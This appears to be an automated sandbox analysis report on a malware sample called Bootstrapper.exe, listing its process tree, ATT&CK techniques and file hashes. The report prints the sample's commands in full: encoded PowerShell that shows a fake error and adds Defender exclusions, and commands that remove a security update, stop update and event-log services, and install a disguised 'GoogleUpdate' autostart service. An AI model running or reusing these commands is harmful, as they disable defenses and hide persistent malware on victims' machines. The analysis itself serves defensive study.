  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5684,i,823902661555443103,14243388154339788025,262144 --variations-seed-version=20241210-050121.637000 --mojo-platform-channel-handle=5452 /prefetch:8
  2⤵
  PID:852

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1696

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:100

C:\Users\Admin\AppData\Local\Temp\dcb1ba1c-e428-4a67-a9d7-b35d4b375bfa_18-12-2024_UqVE2XPvW38Pgkj.zip.bfa\Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\dcb1ba1c-e428-4a67-a9d7-b35d4b375bfa_18-12-2024_UqVE2XPvW38Pgkj.zip.bfa\Bootstrapper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAagBtACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAdABmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAG8AcgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIABzAHQAYQByAHQAOgAgAC4ATgBFAFQAIABGAHIAYQBtAGUAdwBvAHIAawAgADQALgA4AC4AMQAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQALgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAbQBxAGcAIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAcgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAbQBpACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2576
- C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
  "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:652
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4600
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4064
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1608
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:64
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4500
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:3124
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1812
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:2840
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:2544
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:1232
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:1336
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:2420
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4820
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1012
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:4344

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:384
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:3568
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1544
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:544
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4148
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1584
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2252
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3604
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2028
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:828
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4676
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1408
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4160
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1264

C:\Users\Admin\Desktop\Bootstrapper.exe
"C:\Users\Admin\Desktop\Bootstrapper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAagBtACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAdABmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAG8AcgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIABzAHQAYQByAHQAOgAgAC4ATgBFAFQAIABGAHIAYQBtAGUAdwBvAHIAawAgADQALgA4AC4AMQAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQALgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAbQBxAGcAIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAcgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAbQBpACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4928
- C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
  "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Executes dropped EXE
  PID:4740

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding
1⤵
PID:1608

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:4564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
4a04ddfa804dcd5e9636f6cc9dc2d24a

SHA1
33c1fd01283e7b61aea61adc550d12722de6ec84

SHA256
1a3df3456b1860ed8c5b9cfa27e8e39ce1a4322284c5955de80b26ecbb1fa7a7

SHA512
f5154461605cdb38739db3714fd1a4939927505cd54ee9e3d9cddba82b25a9477bc6ede6803ffdacf5957b741df4f500e77f3d360928d2f8d8046c29f3c0872e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
576B

MD5
79063c43ce3677ded047694cc238d761

SHA1
f1a868e63aa3f7928b599a510b2ba2e82ebc8347

SHA256
e21892775963732c49964ae12a2946b1a76045261c4e9d0205e3b38f2730c9eb

SHA512
49ef7848d9438f6f0a75b12631bf6add2be0e2674e9a6f3fc85f97273dd9a6815d848e3d157911e9d4b20b5ea49fae101af2104e5bbbd0018f3fd13fd4b4d48d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
7KB

MD5
3546ec44a2cf2ba48fde9e2bdbb14b6a

SHA1
a15b9273c5d78911d5438ab43b1d7b0782b2a7ec

SHA256
b183fd0610db9c408b62b99832158ddb49c64eafce90744be24eadaf742f7e21

SHA512
ec65a089a6ff95dcce96d2bf9c1bb309966e005c830d80d0f0637df8548b5e987e48fafb3b797872b84645b0ab4004c0c198a8549ca6e0eaf95d946b2e25d9aa

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
524B

MD5
0f49ac8ea59d2ab743d9b7293c193d75

SHA1
45bb0cd61918765b142d52f595166e56a7607d40

SHA256
5d7cf548a44cd6c0f4db2d5889f93becb970a28ef19e6af6d36989552a1c8de7

SHA512
c8e9cec1cb524b818f0e505ce557b43b0e479128692b15adc5a71e8335939f4d64ba7b19d2f0638b8046d8a2c67c0bf75100bb9d2e479255e3d4636c0367c90e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
691B

MD5
7e6ead9ab64acfb86e8377942b6351be

SHA1
4fe779cb1def8e8b354e0708d7c20083edce4a60

SHA256
b34c12aae6fcd91368c5963e57c4c15f6d54825607a13be876cbe806364e62b1

SHA512
5f0e41e53898cd20ebd9cd77ba7527741dde36e82f5d27a93977889ca40b268b4694ad62e2d396747e4bc5bd9c2f44a079340d26cbf6ed92aa374259c088e258

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
67aefc6eeb625ae3c29685b934ec1026

SHA1
7d403ac63d053cd5be16703c890be07043626292

SHA256
8c5ac435ac8820e80fa1df059e029bf86a133a57106e4c1304867496b51bec35

SHA512
c87d0054076956370b09ac3a0ba062766b0bb2d809586eca6575c65f88db2bb6b2d42bcff7256c1af9235284e9fd5228723e4030b5d0c90d767af56e2e68bc42

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
43efc20c35beb6aea774fcb06fee9e58

SHA1
18120d1cd8e8caa96bc87dca8405cb5d20f5cb89

SHA256
8232799a66afad59d22b1b82070b9e0214e68fe40ca349c718a916aa8fc17efc

SHA512
20d9261593ec98e9204bf50598a28ddcf3e705ec74d2d78b073858b68821280add1507722fe87bd081437517fb2082504ff0a3a5249b9c7b87745e5c655a27a4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
db7212fa253fb7a653ddd8232061e8c5

SHA1
cbb1e7426fc043468a35686e46ecf87ee5c888b1

SHA256
5be7bbb74a02f2db88c7846793b1e660bfb06ea09f22ec94cce30333b96f5d03

SHA512
c58c766107e99c5e5b88d9493e57f9fb22407a96230f80420cc22364b75c0cd85dc39f8d67f465c6c6bc4596fe4f0be168a18013901cf6bb1372815499fe87f4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
1593b1d901e824d8d47bc54b761a5681

SHA1
16f352508672b202ab80260d5b05f61e66f0f850

SHA256
f5d34aad29bef7f7b36d7cfe954782ef5544112d81f9a34847a739e7e531328e

SHA512
b35d7cce339d5c3b3a69d008e653802d1d3bee2ba9c0188abbcbeee68fee9597a2a19200be8ca4e541d18981ace6a33917caa89a0805addec529112dc8258bc5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
7273007061763583e79c62bf6d74a4b6

SHA1
a91dea41020b174a83bbdafbd1842810d902f121

SHA256
dc5ccf18af267a6e1b005cf934ccbf2e9ddda78653279c3582d18623f51d3e7e

SHA512
064c96c6aaca143625f1302dddd1b5d27160e6d58d3b21a928507a91007b4127d6f91c2070bd8eaeb64398d385518aeba417ff8f98747caa65a5398bea0520e7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
4a4bd26192094fda68582fa9e0428aa7

SHA1
3942d634d9aa80f4a95c37b219ee1efc664863de

SHA256
5bc0f0ceb580ba6a3a20cd077b794614b949ce387fb7568e40254b5b22d593d8

SHA512
428f4ba5c2332268ac20d7cf56226d1addc78c34ed2ce72bf6c1e2d12c32bdc9b44be92c2df69cf19d2f61ac56b0130716b948560d8d92be8064b7d37ee68b63

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
48c582f2b1eb4ff0f3a78127957a0a77

SHA1
4c4bb5c70b8ea0d164c8c998c40afef10e432771

SHA256
5b36b46ad21fde249e6d0d88db31a7bca3ba1f4ee2975dd28ec4904ff05166b2

SHA512
393e9c18b835997ab368700e13c424fce755515961f6fa49e13f519fa5cf0ecd0d44366b1e85610eab5071a6003fe01032485d304ef6ee9ed19c4d432b8361e4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
11c740ecdd29d60bf225be4402969af9

SHA1
07af0fe276bf42f36e8520a80a0bbbc783eb9bce

SHA256
ba9123cff4767d36593557dc46886c2391291018563252f7b4dc48f1a0dbfaf8

SHA512
cc84c248e81a0cac4eeb22516c701ad2c7a32cecefd5738888ab1ace4181581f0202f53d22d1c0a2699a92b338b125f8ca08798ea85bc733a9ee1cbef52e2c96

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
92f756608568d726ab7fc4acc986d0a5

SHA1
a3c2d91c5bb661f80f31bdfa27ca9349ba6f5840

SHA256
a390b2cfb5eb4040a769e3bdbe3051d2e1fb022ce5815630a12a8a880b29253e

SHA512
44550083845124e0f92aa94829c98c7e4c79447eecc70472787e57291900f88b147e98ff15f07e681345784d54c94d4f20d8c0dbb327d58b2fb65cd5de141198

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
227a2e6d0f90d7a36b5f997b6d12e068

SHA1
b8547d569496506e35aa2452425c628f5a8f6d54

SHA256
4fe60c2ef7a34028443089ad1e625867e3bfa02e3b8bad10a99753d9ac628f92

SHA512
d57f65fc37f15d6199a183525f888b1d198af5784acf633e2145872480541871e8c0f0e140bee74443f574010089a1100955744c1a11b0ad95ff5fd3b609d86d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
f391ecccbd8121e841b5d2637f4eec97

SHA1
bc8387e81b206f8eca7c83d07ffe8ce9c7521e99

SHA256
b43018790a5927bef66ddd9664de224e1c9dbb330acce53aa1f3073161dbf79b

SHA512
52b45ef8e92fb90abc2d24002588a8278e52fd796c1564798a587b75a8eaf8df2464731edb33e23ff801f65dcbf761825e448c01ebb6aae42bad498485a37430

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
6b87b9deb3895b79ceb6bec76ab92e89

SHA1
c094f6e8f940fb00de7e4192754d2cedac84c60a

SHA256
f058052601a1e07c67cabd72fc341c46fd899d48f88443b04b9362e2511242b8

SHA512
69037915b71816b16886400dffadc7a4b60ec0afc40452210605b383346911c173eafb9164e0d1aa849bc4df4f56f1b0259601013e0a1df0e68706f8873fc3cf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
ef8f261eb7558788f35559c925ea4b5a

SHA1
6186ab18dd3b60f91391e249b9d6ab3404c4fcfd

SHA256
fb7a145534e7b13d90901aeb992df3e6474eee1e6e67223af45dceeedd671b94

SHA512
499a1480ecdce0370a959374ef071ce2bccabcfbd52e86a4fd67b34a63e3117e630270407102ff484b72ee1842a101fab11116340e8cd803074d7b87b099d84a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
9c08f0efc161a8af6c907dc7fff33eb3

SHA1
6ebcd51264d7c1209ddd40a6e4618bd7c49d9ae7

SHA256
307ff839af0777dc63dead6141b76693656b47101a3a8f4aff52fe07f3e4337d

SHA512
ae3f94db1547efb21dba93c0d6eb238ebe7b286d90d2cb1272883c400e98570bbf4902c6409cf330403f20ce0f15e6cbc3efc6c84d6d7578590c65e9fe3fdb32

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
b93d31cdee107e115df89c91a13abab5

SHA1
5c530514bbe274c17e4c6e1551e75a6be55371b7

SHA256
bdec67c3bbe10908d76b7da2770096d1cf044b8bf544fdb81daef6c52319b9b3

SHA512
e6d87eb11f111c98f070f3f2f8cca7e7a4cf7f52d6b18dba84c9d19fda6f72f6d5a959d5aa5de112ff8c1739d59dad8fe1eea46dbbbac1c7e607bfb2eb714102

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
2cb70e40a575346fd8363c01c4102533

SHA1
40c45e4dfb6c1ba7d36eca782f5102e4ff475976

SHA256
9d37a380b808b84a4417e8afa37c77104119be4272a3ad916c6d2e05dd8e3c05

SHA512
064759e281879db78b5a78fb079a0bf4dd0cf85a8227d0b50dec4265cc609efd4463e478cb18ae2c80b582300caff32aa7d21175aed3a0320ea86598b7c42c70

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
e0aec7caa2db2b9f0eb49a85aeb83f02

SHA1
c56fb09f2af6f9968dcde8c9cb26c3620ab0a504

SHA256
deeef8743a6597aea0d371336b830ed06b11a97f22793969b1976aa4f6e87a7d

SHA512
8d6c187830e24e1762fd59013ef62dc6d4f30590fa4d66fbb36d1d58642c988aa9502729ae67f1eb18ae30e22f909bc1757888d51bce989aeb3ccd57351dceff

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
8976209dd6a99f5b9fb11ec94116ef08

SHA1
96847a1eab800f7917a28acc87fda2fc2ffcc73a

SHA256
d41b8ffa2e978f45b530cca42a8d50921a68c13f5f6cfb53cf056bd0d303c790

SHA512
5d0905cd0cef1eff42d1080f3a2be702d4ff42dbead9cb69ff93e0fe56701ef5abc974c5e9bc743351d0e667b617aef681b9c6a6f87776e08131cd481491dcf8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\bf44efcb-a154-439a-81f0-90c2298c3649.tmp

Filesize
9KB

MD5
a8db25bf8a044b248a3b15d9c80f6f25

SHA1
ff89b7d51e642755b8ad29197d80e43c059f99a9

SHA256
39e3f4b5e44e19214510845cedce9eea521890d9a5fafdb8367cd6c99ac8e6b0

SHA512
cee27878732fab358d8edbd0161c85b89cb12222e4e3c8fad51be73256b1488101b16bb0233df61327dee8a20872e5aba4e7c49359785721b0c82792d0c58dd1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
232KB

MD5
80e75120d0eb61d7b356184985b61062

SHA1
ee4776095129cedc91fd0cfa4ed2331605358e2e

SHA256
1b018cdf171169a2cdabfe1be3a3803a0442364997f78cd91e286d6dca36e79e

SHA512
d6e835a970cac7396f0808c455766bca379555066811026fbeb24cae6e4df40e480049d6e660c09c844023ca43f04a90bfe50e4244e49cb0bfcc0a3d8f03d761

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
232KB

MD5
97a8046221d4c012a071b87f77c8efd7

SHA1
be73ef2eb41a6b9d2d2a48d77792a17d4598d730

SHA256
df12bf4b6d4772f5615acd3514b38745e44cd9a186582ab348fdca70e56e6976

SHA512
3b22c8cab22481921986ac38609a53e0eaf5ffd2d1f6826e414493491fc6a822043f38e65b5e14b21128163318814bdf30987ed1d2d77797219040f8e1e32e14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
f9349064c7c8f8467cc12d78a462e5f9

SHA1
5e1d27fc64751cd8c0e9448ee47741da588b3484

SHA256
883481fe331cb89fb6061e76b43acd4dd638c16f499b10088b261036c6d0547b

SHA512
3229668491b5e4068e743b31f2896b30b1842faf96aff09fad01b08771c2f11eb8d8f02a3b76e31f0d6ad650c2894c5ac1822204e132c03d9c2b8df6ca4cd7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
0c6921d08284a38899474930a453cd49

SHA1
257e66676fb614707d59560a08e9f0a5766786ee

SHA256
79dd295cfddae3b7d2e861d947b0996de5a6e309f97e0b1220fc6d1353545573

SHA512
3e96173bb471cad333abfc15f9f4aa8a1fee483df1f31c164c3c2191d5ec7612acef90ac084b73de3e2e434f587fcb01582762ad2624d91127826c7446bc99e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
730d375c503ac7775813330efd853380

SHA1
300c1b9ab4fb1434c3d8707309794bdd972717d2

SHA256
bc155a091781a76ef6811cf536a50729729fcf645f4232107072178ad186c5ab

SHA512
ce04a25ef018692dbc125433d00416badf2a9084d536dd83f8040bfcbac96f7f947ae5d13f147337aa96164553f050a9398ee369a7681f24cadc6b194e8a4f49

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe

Filesize
5.1MB

MD5
33a6872a056879c6a977599778a1fb0f

SHA1
109285b385ce0c21ee8b9624b63104d27a51115e

SHA256
79e48350a0712336332571a280272957ffc446c520e70a6e8827169fc84933d4

SHA512
7052a4d7e047768d0eb91b316c191aba2eb6247a66c0f39f2fd7e062bbdd31c402734c80b81dc2b144c199ecde2efc25a5afdfce476923a026bf927dff0c0973

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jvfhydl1.3wp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\18-12-2024_UqVE2XPvW38Pgkj.zip

Filesize
4.3MB

MD5
cf356b163f946dc2f16d95febf45a583

SHA1
e7c8e964c23f86765d729b82d3140604bb00cb7c

SHA256
50d3bf20e1534889385de4b8d780a750c9d37a75c941ffae6dd961caef2eb325

SHA512
baa6367011ebda751fe7ef40a49f99e96c5daf19e068b02b2cdf564477f17a792a9dc0887b9723208d0c49d55a7e1c501723643d12fee8c8dcd0d1406e65be2d

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
00930b40cba79465b7a38ed0449d1449

SHA1
4b25a89ee28b20ba162f23772ddaf017669092a5

SHA256
eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

SHA512
cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

Download Submit
memory/100-295-0x000001B47D7C0000-0x000001B47D875000-memory.dmp

Filesize
724KB

Download
memory/100-296-0x000001B47D880000-0x000001B47D88A000-memory.dmp

Filesize
40KB

Download
memory/100-294-0x000001B47D7A0000-0x000001B47D7BC000-memory.dmp

Filesize
112KB

Download
memory/1012-222-0x0000000006920000-0x000000000693E000-memory.dmp

Filesize
120KB

Download
memory/1012-239-0x0000000008D20000-0x00000000092C6000-memory.dmp

Filesize
5.6MB

Download
memory/1012-198-0x00000000052F0000-0x0000000005326000-memory.dmp

Filesize
216KB

Download
memory/1012-199-0x0000000005B40000-0x000000000620A000-memory.dmp

Filesize
6.8MB

Download
